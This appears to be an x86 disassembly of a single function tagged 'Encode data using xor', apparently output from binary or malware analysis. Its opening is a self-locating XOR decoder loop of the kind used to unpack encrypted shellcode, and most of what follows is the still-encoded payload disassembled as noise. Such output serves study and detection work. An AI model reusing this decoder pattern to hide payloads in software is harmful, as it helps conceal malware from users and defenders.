Function at 0xeee968
Capabilities:
Encode data using xor

Disassembly:
movsb byte es:[edi], byte [esi]
ret 0x1923
jmp 0xeee972
pushal
call 0xeee978
pop ebp
sub ebp, 0x10
sub ebp, 0xaee968
jmp 0xeee98e
mov eax, 0xaee968
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b9
add byte [eax], al
add byte [ecx + 0x5b9], bh
mov edx, 0x56e55b70
xor byte [eax], dl
inc eax
dec ecx
jne 0xeee9a5
jmp 0xeee9b8
sti
mov ebp, 0x704cf9fb
jo 0xeeea30
int1
mov cl, 0x88
jo 0xeeea35
jo 0xeeea3a
mov ebp, 0x707076c8
jo 0xeee998
pop eax
jo 0xeeea41
jo 0xeee95a
xchg edx, eax
jae 0xeee98e
sti
int1
jl 0xeeea4a
jo 0xeeea4c
jae 0xeee993
std
adc al, 0x54
invalid
invalid
sub eax, 0xfb707cb2
jo 0xeeea32
cld
push esp
je 0xeeeaab
jo 0xeeeaac
jo 0xeeeaad
jo 0xeeea56
sbb ah, bh
cld
add eax, 0xab187051
jo 0xeeea5b
stosd dword es:[edi], eax
add edi, ebp
jo 0xeeeab9
pop esp
push esp
and dword [eax + 0x70707075], ebx
jne 0xeeeabe
jo 0xeeeac0
cdq
and dword [edx + 0x70], esi
jo 0xeeea7b
and al, 0x2d
pop dword [0x78058f7c]
cwde
pop dword [0x70f49878]
jo 0xeeead3
hlt
jo 0xeeead2
jo 0xeeea5f
sti
int 0x78
jo 0xeeead8
jo 0xeeea5b
sub ebp, 0xf1af7e1e
sub ebp, 0x43af7e1e
mov ecx, 0x710382f1
pushal
invalid
add esi, dword [ecx + 0x60]
jno 0xeeeae2
inc byte [ebx - 0x5e]
cwde
jne 0xeeeac1
jg 0xeeea7f
jo 0xeeeafe
jo 0xeeeb0f
clc
cmp byte [eax + 0x70], dh
jo 0xeeeaac
sti
insb byte es:[edi], dx
dec ecx
invalid
hlt
push ss
int1
mov ecx, dword [edi + 0x65f47f55]
jo 0xeeeb25
push ebp
jg 0xeeeaa6
jo 0xeeeb25
jo 0xeeeb26
jo 0xeeeae8
xor dword [ecx - 0x70707044], ebx
pop ecx
cdq
mov esp, 0x598f8f8f
invalid
cmp al, 0x49
dec ecx
jno 0xeeeab4
mov cl, 0x75
mov cl, 0x75
cwde
je 0xeeea60
int 0x8f
invalid
lcall 0xdb99, 0x7598f374
lcall 0xdb99, 0x7598f374
cdq
fisttp dword [edi + 0x5cfb8f8f]
push esp
std
adc al, 0x54
invalid
push esp
je 0xeeea97
jl 0xeeeb57
and eax, 0x27269cfb
sti
pushfd
daa
and eax, 0xfb7c05fb
or eax, 0xf0c28c78
cli
js 0xeeea80
ret 0xfaf0
jbe 0xeeeaea
mov dh, 0x71
jo 0xeeeb6d
jo 0xeeeaf7
clc
ja 0xeeeaf2
mov bh, 0x71
jo 0xeeeb75
jo 0xeeeb76
jo 0xeeead2
retf
jb 0xeeeb79
jo 0xeeeb7b
jb 0xeeeaaf
jg 0xeeeb04
jne 0xeeeb81
jo 0xeeeb83
cli
bound sp, dword ss:[edx - 0x70570c81]
invalid
cmc
jne 0xeeeb94
jo 0xeeeb96
jo 0xeeeb21
cli
bound sp, dword ss:[edx + 0x701af37f]
jo 0xeeeba1
inc ebx
mov al, 0x72
mov byte [0x7075f57f], al
jo 0xeeebab
cli
bound sp, dword ss:[edx + 0x715af37f]
mov byte [0x715af37f], al
jo 0xeeebb6
jb 0xeeeaea
jg 0xeeeb3f
jne 0xeeebbc
jo 0xeeebbe
cli
bound sp, dword ss:[edx - 0x5d8d4f9d]
jg 0xeeeb4e
jne 0xeeebcb
jo 0xeeebcd
cli
bound sp, dword ss:[edx - 0x5d8d4f9d]
jg 0xeeeb5d
jne 0xeeebda
jo 0xeeebdc
cli
bound sp, dword ss:[edx - 0x5d8d4f9d]
jg 0xeeeb6c
cmc
jne 0xeeebe9
jo 0xeeebea
jo 0xeeebeb
jo 0xeeeb76
cli
bound sp, dword ss:[edx - 0xb804f9d]
mov al, 0x7f
hlt
jbe 0xeeebf6
jo 0xeeebf8
jo 0xeeeb84
sti
scasd eax, dword es:[edi]
pop ebx
test al, 0xfa
jae 0xeeeb87
ja 0xeeebc8
aaa
retf
jo 0xeeec06
cdq
add byte [edi + 0x71c88f8f], cl
jo 0xeeec0f
invalid
jo 0xeeec13
mov byte [0x7075f57f], al
jo 0xeeec18
cli
bound sp, dword ss:[edx - 0x5d8d4f9d]
bound esp, qword [edx - 0x5d8d4f9d]
mov byte [0x7075f57f], al
jg 0xeeeba8
cmc
jne 0xeeec25
jo 0xeeec27
jo 0xeeebb2
cli
bound sp, dword ss:[edx - 0x70510d81]
invalid
jg 0xeeebb0
scasb al, byte es:[edi]
invalid
jo 0xeeec49
cmc
inc esp
jo 0xeeec3e
jo 0xeeec3f
jo 0xeeeb99
leave
jno 0xeeec42
jo 0xeeec44
jb 0xeeeb78
jg 0xeeebcd
jne 0xeeec4a
jo 0xeeec4c
cli
bound sp, dword ss:[edx - 0x5d8d469d]
jg 0xeeebdc
cmc
jne 0xeeec59
jo 0xeeec5b
jo 0xeeebe6
cli
bound sp, dword ss:[edx - 0x70510d81]
invalid
sti
xchg dword [ebx - 0x7b], ebx
adc esp, 0x2e
aam 0x2e
cdq
js 0xeeeb90
invalid
invalid
js 0xeeec02
jbe 0xeeec40
sti
cwde
leave
jno 0xeeec7f
jo 0xeeec81
jb 0xeeebb5
jg 0xeeec0a
cmc
jne 0xeeec87
jo 0xeeec89
jo 0xeeec14
cli
bound sp, dword ss:[edx - 0x5d8d469d]
jg 0xeeec19
cmc
jne 0xeeec96
jo 0xeeec97
jo 0xeeec98
jo 0xeeec23
cli
bound sp, dword ss:[edx - 0x70510d81]
invalid
jo 0xeeeca9
int1
test eax, 0x8f8f8f8f
invalid
int1
mov byte [eax + 0x75], dh
jne 0xeeecb4
jo 0xeeecb5
jo 0xeeec37
int1
test eax, 0x8f8f8f8f
int1
invalid
invalid
mov al, dh
jo 0xeeecc0
jo 0xeeecc1
jo 0xeeec43
int1
mov eax, dword [0x70707070]
int1
mov al, dh
jo 0xeeeccc
invalid
jo 0xeeeccd
jo 0xeeec4f
int1
mov eax, dword [0x70707070]
sti
xchg dword [ebx - 0x80], ebx
adc esp, 0x2e
cdq
jmp 0xeeebfc
mov eax, dword [0x70707072]
jb 0xeeecf2
jo 0xeeecf3
jo 0xeeecf4
jo 0xeeec80
sti
cwde
sti
sti
xchg dword [ebx - 0x80], ebx
adc esp, 0x2e
pop ebx
add byte [ebx + 0x71cb2ed4], 0x70
jo 0xeeed03
retf
cdq
add ecx, dword [esi + 0x5b2d8f8f]
or eax, 0x2fb7fb78
invalid
invalid
sub eax, 0xfb780d5b
mov bh, 0x2f
sti
xchg ebp, eax
sub eax, 0x2f7078b2
cdq
je 0xeeed1b
jo 0xeeed1d
and esi, dword [ebx - 0x31]
sbb eax, 0xde9918c8
fidiv word [eax + 0x73]
jo 0xeeed2a
mov ch, 0xf1
mov al, 0x1f
jae 0xeeed2d
jo 0xeeec88
out 0x72, al
jb 0xeeed32
jo 0xeeed33
jo 0xeeec8e
retf 0x8749
dec ecx
xchg dword [eax], ebp
or byte [eax + 0x60], al
xor byte [ecx], bh
jg 0xeeecc3
cmc
xchg byte [edi + 0x74998f8f], cl
jo 0xeeed46
jo 0xeeecc5
sub dword [ebx + 0x14], ebx
into
mov bh, 0xce
mov esi, 0xce753ec2
mov esi, 0xe97ef5c2
dec ecx
dec ecx
dec ecx
dec edx
mov bh, 0x1f
adc al, dl
pcmpeqw mm0, mm2
ret 0x79cd
int 0x79
jge 0xeeed40
jns 0xeeed73
dec ecx
dec ecx
dec ecx
bound edx, qword [ecx - 0x3db6e13e]
push es
dec ebp
enter 0x49b3, 0x49
dec ecx
dec ecx
dec ecx
dec ecx
inc esi
int 0xf
dec ecx
dec ecx
dec ecx
dec edx
lahf
enter 0x418e, 0x49
dec ecx
dec ecx
enter 0x41a0, 0x49
dec ecx
dec ecx
enter 0x49b0, 0x49
dec ecx
dec ecx
dec ecx
dec ecx
inc esi
int 0x9d
mov dh, 0xb6
mov dh, 0x2f
ret 0x884e
mov byte [ecx + 0x46a9ca45], ah
enter 0x4ab1, 0x49
retf 0x46a9
dec edx
dec ecx
dec ecx
dec ecx
inc esi
int3
test eax, 0x494946b6
dec edx
mov ecx, dword [eax + 0x51]
add byte [eax], al
retf 0x4b8e
jns 0xeeedce
or dword [eax], eax
inc esi
int3
xor edi, dword [edi]
xor byte [ebx + 0x3f3f3f4a], bh
mov esp, 0x303f3f40
mov edx, 0x3f3f3f35
mov esp, 0x303f2f40
mov ebx, 0x3f3f3f6a
push 0xffffffffffffffb4
ljmp 0xb82f